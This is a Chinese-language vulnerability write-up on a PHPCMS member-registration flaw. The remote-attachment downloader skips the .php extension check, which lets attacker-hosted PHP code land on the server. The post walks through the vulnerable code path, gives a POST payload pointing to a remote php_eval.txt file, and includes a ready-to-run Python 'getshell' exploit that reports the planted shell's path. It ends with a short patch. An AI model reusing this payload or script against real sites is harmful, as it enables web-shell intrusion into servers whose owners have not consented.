PHPCMS 會員任意附件遠程下載0day分析

phpcms現在還沒有命名叫啥漏洞,因爲是通過會員註冊殺進視頻模型的附件下載流程,所以就寫PHPCMS 會員任意附件遠程下載0day分析了,利用exp如下:
dosubmit=1&modelid=11&username=hacker&password=hacker&[email protected]&info[content]=<img src=http://127.0.0.1/tools/php_eval.txt?.php#.jpg
將上面參數發post請求到 /index.php?m=member&c=index&a=register&siteid=1

首先根據phpcms框架結構找到對應的處理入口文件,
會員入口:/index.php?m=member&c=index&a=register&siteid=1
找到phpcms框架對應的處理文件:\phpcms\phpcms\modules\member\index.php
第33行處理方法:register()
PHPCMS 會員任意附件遠程下載0day分析
進入處理函數後,需要 設置 dosubmit 爲真,走這裏的驗證流程:
PHPCMS 會員任意附件遠程下載0day分析
這裏可以看到用戶名username、密碼password、郵箱email是 必須填的(email爲何判斷了2次? Phpcms的bug?)
PHPCMS 會員任意附件遠程下載0day分析
單純這個流程是沒有漏洞,漏洞需要結合視頻附件處理流程,
Phpcms默認安裝有四個模型,分別是文章,下載,圖片,視頻模塊,也可以自己創建模型, modelid=11就是視頻模型,具體看
\phpcms\caches\caches_commons\caches_data\ model.cache.php 文件便可看到緩存的模型
PHPCMS 會員任意附件遠程下載0day分析
需要把值設爲11,所以上面post的參數變爲了
dosubmit=1& modelid=11&username=hacker& password=hacker&[email protected]
下面有個 //附表信息驗證 通過模型獲取會員信息,問題就在這裏了,獲取視頻模型的信息,
PHPCMS 會員任意附件遠程下載0day分析
new_html_special_chars轉義函數在 \phpcms\libs\functions\global.func.php 的第37行裏:
PHPCMS 會員任意附件遠程下載0day分析
可以看到這裏把值或數組的鍵值轉義了,繼續看上面流程,
$member_input->get($_POST['info']); //模型輸入處理
先要看創建的類庫
$member_input = new member_input($userinfo['modelid']); //創建模型輸入類
找下member_input類在文件
\phpcms\caches\caches_model\caches_data\ member_input.class.php 文件中
在類中找到get方法,這個方法是獲取模型數據的
PHPCMS 會員任意附件遠程下載0day分析
在模型類中fields是一個強大的多維數組、打印出來看下
PHPCMS 會員任意附件遠程下載0day分析
類中有個 editor 成員函數是做下載用的
PHPCMS 會員任意附件遠程下載0day分析
斷掉調試下,走視頻模型時,fields的content[‘formtype’]的值爲 editor ,下面代碼是檢測 當前類中是否存在 $fun()方法,如果存在則 傳參執行這個方法 返回給 $value
PHPCMS 會員任意附件遠程下載0day分析
繼續跟 $value = $this->$func($field, $value)
也就是可以觸發到成員函數 editor,再回到editor
PHPCMS 會員任意附件遠程下載0day分析
這裏有下載功能,繼續找這個下載函數,發現在構造函數中,是一個附件類
PHPCMS 會員任意附件遠程下載0day分析
附件類文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法,重點在第二個參數,也就是傳入的下載地址
PHPCMS 會員任意附件遠程下載0day分析
在download 中設置上傳目錄,然後通過正則取出要下載的url,之後處理數組的過程中會遇到一個 fillurl,補全url的成員函數

PHPCMS 會員任意附件遠程下載0day分析
PHPCMS 會員任意附件遠程下載0day分析
Fillurl是支持的下載協議,繼續看下面的流程,下面流程取得 附件的擴展名作爲生成的文件名,因爲下載的可能是 rar、zip或者其他的,這裏沒有驗證php擴展名,而且當在下載url加入?後面的相當於被截斷了,但是可以繞過擴展名的判斷。
PHPCMS 會員任意附件遠程下載0day分析
然後需要回顯,不然文件下載到服務器了,也不知道文件路徑的;
恰巧在插入時會報錯顯示出路徑信息:
\phpcms\caches\caches_model\caches_data\member_input.class.php 文件中
$info[$field] = $value;
PHPCMS 會員任意附件遠程下載0day分析
各種姿勢加起來組合出來強大的漏洞! exp 看下面:

#!/usr/bin/env python
#coding:utf-8
import sys,requests,random
def getshell(target):
vuln_url = target + "/index.php?m=member&amp;c=index&amp;a=register&amp;siteid=1"
strstr = str(random.randint(0,999))
data = {
"dosubmit":1,
"modelid":11,
"username":"hacker" + strstr,
"password":"hacker" + strstr,
"email":strstr + "[email protected]",
"info[content]":"&lt;img src=http://*****.com/tools/php_eval.txt?.php#.jpg"
}
try:
response = requests.post(url = vuln_url,data = data,timeout=5)
data_str = response.content
except:
data_str = ""
vul_url = data_str[data_str.find("src=http"):(data_str.find("src=http")+len(target)+67)]
print data_str
if vul_url:
with open("result.txt","a+") as f:
f.write(vul_url+"\n")
print vuln_url+"\n"+vul_url+"\n\n"
else:
print u"no vul"
getshell("http://127.0.0.1/phpcms/")

修復漏洞:
這個是下載官網最新版測試的,貌似到現在還沒修復呢,一堆代碼邏輯在裏頭,對於非常熟悉的人,還可能間接找出類似問題,看別人說修復方式可以把uploadfile目錄設置爲不可執行權限,也可以通過上面的分析找到遠程下載附件函數對生成的文件名做下判斷再決定是否下載。好人做到底吧。
臨時代碼修復,等官網出了後,這個就淘汰了;
在附件類文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法找到下面這行代碼
$filename = $this->getname($filename); 在這行代碼下面增加2行代碼,判斷下生成文件的格式:

$file_verify = explode('.', $filename);
if ($file_verify[1] === "php") die('Extension not supported PHP!');
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章